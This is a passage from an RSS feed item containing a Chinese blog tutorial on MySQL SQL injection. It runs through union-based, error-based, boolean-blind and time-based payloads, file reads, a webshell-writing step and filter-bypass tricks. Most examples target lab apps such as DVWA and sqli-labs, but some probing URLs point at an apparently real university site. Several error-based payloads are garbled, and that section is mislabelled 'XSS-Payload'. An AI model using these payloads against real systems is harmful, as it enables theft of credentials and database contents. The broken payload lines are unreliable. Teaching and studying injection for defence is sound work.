</content:encoded></item><item><title>SQL 注入漏洞</title><link>https://wangyi187.top/posts/web-10-sql-injection/</link><guid isPermaLink="true">https://wangyi187.top/posts/web-10-sql-injection/</guid><description>0x10 SQL注入漏洞 ​ 注：此处都是基于MySQL数据库进行讲解，如需要了解其他数据库注入请跳转到第十章 一、什么是SQL注入 ​ 所谓SQL注入就是用户在能够控制SQL查询</description><pubDate>Fri, 05 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;0x10 SQL注入漏洞&lt;/h1&gt;
&lt;hr /&gt;
&lt;p&gt;​		     	      &lt;strong&gt;注：此处都是基于MySQL数据库进行讲解，如需要了解其他数据库注入请跳转到第十章&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;一、什么是SQL注入&lt;/h3&gt;
&lt;p&gt;​	所谓SQL注入就是用户在能够控制SQL查询、更新、插入、删除等语句的参数的情况下，攻击者通过构造特殊的输入字符串使后端程序错误地识别SQL查询语句中的代码与数据部分从而导致数据库管理系统输出了非预期的结果的一种行为。&lt;/p&gt;
&lt;h3&gt;二、SQL注入基本认识&lt;/h3&gt;
&lt;p&gt;SQL注入本质上来讲就是拼接字符串，通过输入额外的信息破坏后端脚本原有的查询语句结构，从而达成注入的目的。&lt;/p&gt;
&lt;p&gt;举个例子，后端的一段查询代码是下面这样的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//后端脚本语言为PHP
$query=&quot;select name,age,gender from t_students where id={$_GET[&apos;id&apos;]}&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当用户正常输入的时候：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://www.armandhe.com/query.php?id=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但后端的查询语句实际上是这样的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$query=&quot;select name,age,gender from t_students where id=1&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但攻击者往往不会这样中规中矩，他们往往会构造这样的输入：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://www.armandhe.com/query.php?id=-1 union select 1,database(),3 --+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时后端的查询语句变成：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$query=&quot;select name,age,gender from t_students where id=-1 union select 1,database(),3 -- &quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时攻击者就成功获取到了你的数据库名称。&lt;/p&gt;
&lt;p&gt;通过上面的例子我们可以看出，攻击者构造的查询参数在SQL语句中没有被当作一个字符串对待，而是具有了实际的功能特性，这是PHP的语法决定的，它只是简单地将用户的输入与后端预定义的语句做了一个拼接，将拼接的结果整体作为一条SQL的查询语句。正是这个特性导致了SQL注入的产生，那么为了避免SQL注入，我们可以考虑的一点是不是可以想办法让PHP将用户输入的参数当作SQL语句的结构，而只作为参数呢？这就是预防SQL注入的另一个方向，PHP预编译技术，当然这个我们容后再讨论。&lt;/p&gt;
&lt;h3&gt;三、SQL注入的危害&lt;/h3&gt;
&lt;p&gt;1、绕过登录验证：使用万能密码登录网站后台等。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&apos; or &apos;1&apos; = &apos;1&apos; #
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;2、获取敏感数据：获取网站管理员帐号、密码等。
3、文件系统操作：列目录，读取、写入文件等。
4、注册表操作：读取、写入、删除注册表等。
5、执行系统命令：远程执行命令。&lt;/p&gt;
&lt;h3&gt;四、SQL测试方法&lt;/h3&gt;
&lt;p&gt;判断注入漏洞的依据是什么？&lt;/p&gt;
&lt;p&gt;——&amp;gt;根据客户端返回的结果来判断提交的测试语句是否成功被数据库引擎执行，如果测试语句被执行了，说明存在注入漏洞。&lt;/p&gt;
&lt;p&gt;思路：寻找可能的注入点——&amp;gt;构造测试语句——&amp;gt;提交请求——&amp;gt;分析结果——&amp;gt;不符合预期结果——&amp;gt;不存在SQL注入漏洞&lt;/p&gt;
&lt;p&gt;​										 	 ——&amp;gt;符合预期结果  ——&amp;gt;存在SQL注入漏洞&lt;/p&gt;
&lt;p&gt;步骤：闭合查询语句——&amp;gt;判断注入类型——&amp;gt;构造验证语句——&amp;gt;验证获取数据&lt;/p&gt;
&lt;h4&gt;1、&lt;strong&gt;判断注入类型是数字型(int)还是字符型(char)&lt;/strong&gt;&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;https://www.juc.edu.bd/page.php?id=2/2 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;“ id=2 ”除于自己也就是2——&amp;gt; ” id=2/2 “，如果跳转页面变化了就是数字型（int)，没跳转就是字符型(char)&lt;/p&gt;
&lt;p&gt;如果是int类型则会输出1，页面返回到id=1的页面，如果是char类型则不会返回，这是判断数字型和字符型较为快捷的办法&lt;/p&gt;
&lt;p&gt;又或者&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://www.juc.edu.bd/page.php?id=2&apos; --+
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;https://www.juc.edu.bd/page.php?id=2&quot; --+
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;https://www.juc.edu.bd/page.php?id=2 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结论：输入单引号时候可以正常显示，说明存在双引号&lt;/p&gt;
&lt;p&gt;​     输入双引号的时候可以正常显示，说明存在单引号（只有什么特殊符号都没有的情况下才会报错）&lt;/p&gt;
&lt;p&gt;​	 --+ 是注释符 为了尽可能排除一些其他不可预测的情况，所以最好添加&lt;/p&gt;
&lt;p&gt;​	 都不能正常显示就说明不存在任何引号，是数字型&lt;/p&gt;
&lt;p&gt;判断存在什么类型的SQL注入漏洞会在SQL注入分类里面，每一个模块再细讲&lt;/p&gt;
&lt;h4&gt;2、SQL注入的测试方法-数字型&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/8dcce2278a-1.png&quot; alt=&quot;1&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;3、SQL注入的测试方法-字符型&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/2364d0b095-2.png&quot; alt=&quot;2&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;五、SQL注入分类&lt;/h3&gt;
&lt;h4&gt;1、基于注入点位置的分类&lt;/h4&gt;
&lt;h5&gt;1)GET注入&lt;/h5&gt;
&lt;p&gt;所谓GET型注入，顾名思义，即注入点的参数是同通过GET请求发送到后端进行处理的。其又可以分为下面两种情形：&lt;/p&gt;
&lt;h6&gt;1&amp;gt;url注入&lt;/h6&gt;
&lt;p&gt;即注入点在url中。举个例子，现在有一个网页，实现了根据学生学号，来查询学生基本信息的功能，学生的id信息是通过GET方法传参发送到后端的，其请求的url如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://www.armandhe.com/query.php?id=20140379
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;后台处理代码如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$query=&quot;select name,age,gender from t_students where id={$_GET[&apos;id&apos;]}&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在该例中，我们通过修改url中的id参数的值，来控制前端页面的显示结果。因为没有过滤的原因，我们输入的任何参数值都将被直接拼接到SQL查询语句中，那么我们就可以通过联合查询注入的方式进行注入。&lt;/p&gt;
&lt;h6&gt;2&amp;gt;请求头注入(user-agent)&lt;/h6&gt;
&lt;p&gt;简单理解就是注入点在请求头中。还是上面的例子，不过url中的参数被后端进行了严格的过滤，不存在任何的注入方法，但后端在进行处理的时候不仅仅是使用了查询语句，还对我们请求头中的user-agent字段在数据库中进行了查询，来防止恶意爬虫，但憨憨程序员却没有对用户的请求头做过滤。于是乎我们可以在请求头中构造恶意代码。后端处理逻辑如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$link = @mysqli_connect($host,$username,$password,$dbname,$port);
$userAgent=getallheaders()[&apos;User-Agent&apos;];
$query=&quot;select * from AgentJudge where userAgent=&apos;{$userAgent}&apos;&quot;;
$result=mysqli_query($link,$query);
if (mysqli_num_rows($result)!=0){
	print(&apos;请不要恶意浏览本网页&apos;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到后端代码中并没有对&lt;code&gt;user-agent&lt;/code&gt;字段做过滤，那么我们就可以直接开始构造注入语句：
这里我们可以通过BurpSuite抓包来修改&lt;code&gt;user-agent&lt;/code&gt;字段：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/70235f5437-20210528201811198.png&quot; alt=&quot;20210528201811198&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当然我们不能直接上来就构造联合查询注入，这一点后面再将，这里只是演示请求头注入的效果。
那么又有一个问题，我们怎么知道后端对user-agetn字段做了判断呢？没错，我们不知道，所以这就需要我们在可能的注入点挨个尝试？是不是有一种生无可恋的感觉，那么多注入点，得尝试到什么时候？这时候就得我们得注入神器sqlmap登场了。这个容后再说。&lt;/p&gt;
&lt;h5&gt;2)POST注入&lt;/h5&gt;
&lt;p&gt;POST注入与GET注入不同的地方在于请求的参数是放在请求体中而不是在url中直接显示给用户的。那么我们怎么才能劫持并修改通过POST方法上传的参数呢？这时候就需要我们的渗透测试神器BuripSuite登场了。正常POST请求信息如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/4acb1e8940-20210528202622894.png&quot; alt=&quot;20210528202622894&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们注入之后的请求如下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/ba46ac923d-20210528202746276.png&quot; alt=&quot;20210528202746276&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;2、基于变量数据类型分类&lt;/h4&gt;
&lt;h5&gt;1）数字型注入&lt;/h5&gt;
&lt;p&gt;我们传入的参数在后端代码中没有被引起来的时候，我们称这种情况为数字型注入。当然之后参数类型为数字的时候，才存在区分数字型和字符型的情况&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$query=&quot;select name,age,gender from t_students where id={$_GET[&apos;id&apos;]}&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时我们传入的参数直接与&lt;code&gt;id&lt;/code&gt;进行比较&lt;/p&gt;
&lt;h5&gt;2）字符型注入&lt;/h5&gt;
&lt;p&gt;当我们传入的参数在后端代码中被引号引起来的时候，我们称这种情况为字符型注入&lt;/p&gt;
&lt;h6&gt;1&amp;gt;单引号闭合&lt;/h6&gt;
&lt;p&gt;看下面的例子&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$query=&quot;select name,age,gender from t_students where id=&apos;{$_GET[&apos;id&apos;]}&apos;&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时我们的参数&lt;code&gt;$_GET[&apos;id&apos;]&lt;/code&gt;被单引号引起来了&lt;/p&gt;
&lt;h6&gt;2&amp;gt;双引号闭合&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;$id=&apos;&quot;&apos;.$_GET[&apos;id&apos;].&apos;&quot;&apos;;
$query=&quot;select name,age,gender from t_students where id={$id}&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时我们的参数&lt;code&gt;$_GET[&apos;id&apos;]&lt;/code&gt;被双引号引起来了，所以大家觉得哪个憨憨程序员会这么写呢？？所以双引号作为闭合符的情况基本上不可能出现。&lt;/p&gt;
&lt;h4&gt;3、基于获取数据的方法分类&lt;/h4&gt;
&lt;h6&gt;1）回显注入&lt;/h6&gt;
&lt;p&gt;&lt;strong&gt;三种注入poc&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; where user_id = 1 or 1=1

 where user_id = &apos;1&apos; or &apos;1&apos;=&apos;1&apos;

 where user_id =&quot; 1 &quot;or &quot;1&quot;=&quot;1&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;三种sql注释符&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#   单行注释  注意与url中的#区分，常编码为%23

--空格   单行注释 注意为短线短线空格

/*（）*/   多行注释 至少存在俩处的注入  /**/常用来作为空格
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;注入流程&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;是否存在注入并且判断注入类型

判断字段数  order by 

确定回显点   union select 1,2

查询数据库信息  @@version  @@datadir

查询用户名，数据库名   user()  database()

文件读取 union select 1,load_file(&apos;C:\\wondows\\win.ini&apos;)#

写入 webshell    select..into outfile...

补充一点，使用sql注入遇到转义字符串的单引号或者双引号，可使用HEX编码绕过
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;sql注入&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SQL Injection，即SQL注入，SQLi，是指攻击者通过注入恶意的SQL命令，破坏SQL查询语句的结构，从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害巨大，常常会导致整个数据库被“脱裤”，如今SQL注入仍是现在最常见的Web漏洞之一。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;SQL 注入分类&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;按SQLMap中的分类来看，SQL注入类型有以下5种：

UNION query SQL injection（可联合查询注入）

Stacked queries SQL injection（可多语句查询注入）堆叠查询

Boolean-based blind SQL injection（布尔型注入）

Error-based SQL injection（报错型注入）

Time-based blind SQL injection（基于时间延迟注入）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;SQL 注入常规利用思路&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; 1、寻找注入点，可以通过 web 扫描工具实现

 2、通过注入点，尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。

 3、猜解关键数据库表及其重要字段与内容（常见如存放管理员账户的表名、字段名等信息）

 3.1 还可以获取数据库的root账号 密码—思路

 4、可以通过获得的用户信息，寻找后台登录。

 5、利用后台或了解的进一步信息。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;手工注入常规思路&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; 1.判断是否存在注入，注入是字符型还是数字型

 2.猜解 SQL 查询语句中的字段数

 3.确定显示的字段顺序

 4.获取当前数据库

 5.获取数据库中的表

 6.获取表中的字段名

 7.查询到账户的数据
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;下面对四种级别的代码进行分析。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;猜数据库&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1&apos; union select 1,database()#

payload利用另一种方式：

1&apos; union select user(),database()#

Version()#

得到数据库名：dvwa

PS：union查询结合了两个select查询结果，根据上面的order by语句我们知道查询包含两列，为了能够现实两列查询结果，我们需要用union查询结合我们构造的另外一个select.注意在使用union查询的时候需要和主查询的列数相同。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;猜表名&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1&apos; union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()#

得到表名：guestbook,users

group_concat 分组
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;猜列名&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1&apos; union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273#

1&apos; union select 1,group_concat(column_name) from information_schema.columns where table_name =&apos;users&apos;#

(用编码就不用单引号，用单引号就不用编码)

 得到列：

user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;猜用户数据&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;列举出几种payload:

1&apos; or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

1&apos; union select null,concat_ws(char(32,58,32),user,password) from users #  

1&apos; union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users #  

得到用户数据：

admin 5f4dcc3b5aa765d61d8327deb882cf99
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;猜root用户&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1&apos; union select 1,group_concat(user,password) from mysql.user#

得到root用户信息：

root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;2）报错注入&lt;/h6&gt;
&lt;p&gt;&lt;strong&gt;XSS-Payload&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1、通过floor报错,注入语句如下:
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2、通过ExtractValue报错,注入语句如下:
and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

3、通过UpdateXml报错,注入语句如下:
and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

4、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;

6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );

7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );

8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );

9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );

10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );

11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );

12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;3）布尔盲注&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;	当存在SQL注入时，攻击者无法通过页面或请求的返回信息，回显或获取到SQL注入语句的执行结果，这种情况就叫盲注。布尔型盲注就是利用返回的True或False来判断注入语句是否执行成功。它只会根据你的注入信息返回Ture跟Fales，也就没有了之前的报错信息。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;什么情况下考虑使用布尔盲注？&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1、该输入框存在注入点。

2、该页面或请求不会回显注入语句执行结果，故无法使用UNION注入。

3、对数据库报错进行了处理，无论用户怎么输入都不会显示报错信息，故无法使用报错注入。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;常用函数&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;length（str）函数 返回字符串的长度
substr（str,poc,len）截取字符串,poc表示截取字符串的开始位，len表示截取字符串的长度
ascii（）返回字符的ascii码，返回该字符对应的ascii码
count（）：返回当前列的数量
case when (条件) then 代码1 else 代码2 end :条件成立，则执行代码1，否则执行代码2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;函数替换&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1、如果程序过滤了substr函数，可以用其他函数代替：效果与substr（）一样
	left（str，index）从左边第index开始截取
	right(str，index)从右边第index开始截取
	substring（str，index）从左边index开始截取
	mid（str，index，len）截取str从index开始，截取len的长度
	lpad（str，len，padstr）
	rpad（str，len，padstr）在str的左（右）两边填充给定的padstr到指定的长度len，返回填充的结果
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/19466db197-20210409190634836.png&quot; alt=&quot;20210409190634836&quot;  /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2、如果程序过滤了 = （等于号），可以用in()、like代替，效果一样：
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/09c227b257-20210409190657345.png&quot; alt=&quot;20210409190657345&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;3、如果程序过滤了ascii（），可以用hex()、bin（）、ord()代替，效果一样：
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/556ca8f588-20210409190710850.png&quot; alt=&quot;20210409190710850&quot; /&gt;&lt;/p&gt;
&lt;p&gt;布尔注入一般流程&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;因为盲注不能直接用database（）函数得到数据库名，所以步骤如下：

①判断数据库名的长度：and length(database())&amp;gt;11 回显正常；and length(database())&amp;gt;12 回显错误，说明数据库名是等于12个字符。

②猜测数据库名（使用ascii码来依次判断）：and (ascii(substr(database(),1,1)))&amp;gt;100 --+ 通过不断测试，确定ascii值，查看asciii表可以得出该字符，通过改变database（）后面第一个数字，可以往后继续猜测第二个、第三个字母…

③猜测表名：and (ascii(substr((select table_name from information_schema.tables where table.schema=database() limit 1,1)1,1)&amp;gt;144 --+ 往后继续猜测第二个、第三个字母…

④猜测字段名（列名）：and (ascii(substr((select column_name from information_schema.columns where table.schema=database() and table_name=’数据库表名’ limit 0,1)1,1)&amp;gt;105 --+ 经过猜测 ascii为 105 为i 也就是表的第一个列名 id的第一个字母;同样,通过修改 limit 0,1 获取第二个列名 修改后面1,1的获取当前列的其他字段.

⑤猜测字段内容：因为知道了列名，所以直接 select password from users 就可以获取password里面的内容，username也一样 and (ascii(substr(( select password from users limit 0,1),1,1)))=68 --+
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;4）时间盲注&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;	界面返回值只有一种,true无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数，通过查看web页面返回的时间差来判断注入的语句是否正确。时间盲注与布尔盲注类似。时间型盲注就是利用时间函数的延迟特性来判断注入语句是否执行成功。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;什么情况下考虑使用时间盲注？&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1、无法确定参数的传入类型。整型，加单引号，加双引号返回结果都一样

2、不会回显注入语句执行结果，故无法使用UNION注入

3、不会显示报错信息，故无法使用报错注入

4、符合盲注的特征，但不属于布尔型盲注
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;常用函数&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sleep(n)：将程序挂起一段时间 n为n秒。

if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句。

使用sleep()函数和if()函数：`and (if(ascii(substr(database(),1,1))&amp;gt;100,sleep(10),null))  --+`   如果返回正确则 页面会停顿10秒，返回错误则会立马返回。只有指定条件的记录存在时才会停止指定的秒数。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;时间盲注一般流程&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;①猜测数据库名称长度：
输入：id=1&apos; and If(length(database()) &amp;gt; 1,1,sleep(5)) --+
用时：&amp;lt;1s，数据库名称长度&amp;gt;1
…
输入：id=1&apos; and If(length(database()) &amp;gt;8 ,1,sleep(5)) --+
用时：5s，数据库名称长度=8
得出结论：数据库名称长度等于8个字符。

②猜测数据库名称的一个字符：
输入：id=1&apos; and If(ascii(substr(database(),1,1))=97,sleep(5),1) --+
用时：&amp;lt;1s
…
输入：id=1&apos; and If(ascii(substr(database(),1,1))=115,sleep(5),1) --+
用时：5s
得出结论：数据库名称的第一个字符是小写字母s。
改变substr的值，以此类推第n个字母。最后猜出数据库名称。

③猜测数据库表名：先猜测长度，与上面内容相似。

④猜测数据库字段：先猜测长度，与上面内容相似。

⑤猜测字段内容：先猜测长度，与上面内容相似。
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;5）堆叠注入&lt;/h6&gt;
&lt;p&gt;&lt;strong&gt;一、堆叠注入原理&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql数据库sql语句的默认结束符是以`;`结尾，在执行多条SQL语句时就要使用结束符隔开，那么在`;`结束一条sql语句后继续构造下一条语句，是否会一起执行？
因此这个想法也就造就了堆叠注入
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;二、堆叠注入触发条件&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;堆叠注入触发的条件很苛刻，因为堆叠注入原理就是通过结束符同时执行多条sql语句，这就需要服务器在访问数据端时使用的是可同时执行多条sql语句的方法，例如php中的mysqli_multi_query函数。但与之相对应的mysqli_query()函数一次只能执行一条sql语句，所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于mysqli_multi_query()这样的函数,简单总结下来就是

1、目标存在sql注入漏洞
2、目标未对&quot;;&quot;号进行过滤
3、目标中间层查询数据库信息时可同时执行多条sql语句
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;堆叠注入的局限性&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;堆叠注入并不是在每种情况下都能使用的。大多数时候，因为API或数据库引擎的不支持，堆叠注入都无法实现。
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;6）二次注入&lt;/h6&gt;
&lt;h6&gt;7）文件读写&lt;/h6&gt;
&lt;h6&gt;8）dnslog&lt;/h6&gt;
&lt;h6&gt;9）宽字节注入&lt;/h6&gt;
&lt;h3&gt;六、SQL注入的一些绕过方式&lt;/h3&gt;
&lt;h4&gt;1.空格绕过：&lt;/h4&gt;
&lt;p&gt;​			%09(tab键-水平制表符-相当于很多个空格),%0b(tab键-垂直制表符-相当于回车)   都是与ASCII码有关的&lt;/p&gt;
&lt;p&gt;​			() 括号当成空格一般用于时间盲注的时候较多,/**/&lt;/p&gt;
&lt;h4&gt;2.双写绕过（and or  union等）（只删除一次）&lt;/h4&gt;
&lt;p&gt;​		anandd, oorr,ununionion&lt;/p&gt;
&lt;h4&gt;3.大小写绕过&lt;/h4&gt;
&lt;p&gt;​		And,oR,uNiOn&lt;/p&gt;
&lt;h4&gt;4.逻辑符号替换&lt;/h4&gt;
&lt;p&gt;​		and --&amp;gt;&amp;amp;&amp;amp;&lt;/p&gt;
&lt;p&gt;​		or ---&amp;gt; ||&lt;/p&gt;
&lt;h4&gt;5.注释符&lt;/h4&gt;
&lt;p&gt;​		#&lt;/p&gt;
&lt;p&gt;​		--+&lt;/p&gt;
&lt;p&gt;​		/**/&lt;/p&gt;
&lt;h4&gt;6.编码绕过&lt;/h4&gt;
&lt;p&gt;​		hex（十六进制）编码绕过。&lt;/p&gt;
&lt;h4&gt;7.等号绕过&lt;/h4&gt;
&lt;h5&gt;&lt;strong&gt;1)like 模糊查询&lt;/strong&gt;&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;database() like &apos;a%&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;%	任意多个任意字符
_ 	单个任意字符
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&apos;a%&apos;	以a开头的字符串
&apos;%b&apos;	以b结尾的字符串
&apos;%c%&apos;	包含c的字符串，匹配&apos;copy&apos;,&apos;welcome&apos;,&apos;eric&apos;
&apos;_d%&apos;	第二个字符是d的字符串
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;database() like &apos;a%&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;192.168.12.1/sqli-labs-master/Less-8/?id=1&apos;and database()like&apos;a%&apos;--+ # 1
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;192.168.12.1/sqli-labs-master/Less-8/?id=1&apos;and length(database())like&apos;1%&apos;--+ # 1
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2)&lt;code&gt;regexp&lt;/code&gt; 正则匹配&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;database() regexp &apos;^a&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;^a		以a开头的
b$		以b结尾的
[abc]	包含abc中的任意一个的字符
[^abc]	不包含abc中的任意一个的字符
a{n}	a出现n次(0&amp;lt;=n&amp;lt;256,n∈N+)
b{n,m}	b出现n到m次
c*		c出现任意次
d+		d出现至少一次
.		单个任意字符
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;database() regexp &apos;^a&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;猜解以a开头&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;192.168.12.1/sqli-labs-master/Less-8/?id=1&apos;and database() regexp &apos;^a&apos;--+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;猜解第三位是b&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;192.168.12.1/sqli-labs-master/Less-8/?id=1&apos;and database() regexp &apos;^..b&apos;--+ # 1
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;192.168.12.1/sqli-labs-master/Less-8/?id=1&apos;and database() regexp &apos;^.{2}b&apos;--+ # 1
